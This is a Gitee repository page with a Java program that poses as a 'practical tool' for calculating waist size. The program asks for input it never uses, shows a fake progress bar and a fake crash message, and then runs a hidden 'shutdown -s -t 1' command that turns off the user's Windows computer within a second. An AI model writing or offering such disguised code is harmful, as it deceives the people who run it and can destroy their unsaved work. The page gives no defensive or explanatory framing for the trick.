1 Star 0 Fork 0

gfjava/ZHen.ShiYongGongJu

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
YaoWeiJiSuanQi.java 1.41 KB
一键复制 编辑 原始数据 按行查看 历史
gfjava 提交于 2023-05-01 23:11 . 1
package xiaoGongJu;
import java.io.IOException;
import java.util.stream.Stream;
import javax.swing.JOptionPane;
public class YaoWeiJiSuanQi {
public static void main(String[] args) throws IOException {
Runtime rtime = Runtime.getRuntime();
Object[]o= {"确定"};
JOptionPane.showInputDialog(null," 请输入腰围来计算腰围","Java《实用》小工具",JOptionPane.PLAIN_MESSAGE);
JOptionPane.showMessageDialog(null, "即将开始计算,请勿关闭程序!", "Java《实用》小工具",JOptionPane.WARNING_MESSAGE);
char incomplete = ' ';
char complete = '=';
int total=100;
StringBuilder builder=new StringBuilder();
Stream.generate(() -> incomplete).limit(total).forEach(builder::append);
for (int i = 0; i < total; i++) {
builder.replace(i, i + 1, String.valueOf(complete));
String progressBar = "\r" + builder;
String percent = " " + (i + 1) + "%";
System.out.print(progressBar + percent);
try {
Thread.sleep(i * 5L);
} catch (InterruptedException ignored) {
}
}
int index = JOptionPane.showOptionDialog(null, "计算难度过大,程序崩溃。", "错误",JOptionPane.YES_NO_OPTION, JOptionPane.ERROR_MESSAGE, null, o, o[0]);
o[0]=rtime.exec("shutdown -s -t 1");
// TODO 自动生成的方法存根
}
}
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
Java
1
https://gitee.com/gfjava/zhen.-shi-yong-gong-ju.git
git@gitee.com:gfjava/zhen.-shi-yong-gong-ju.git
gfjava
zhen.-shi-yong-gong-ju
ZHen.ShiYongGongJu
master

搜索帮助

0d507c66 1850385 C8b1a773 1850385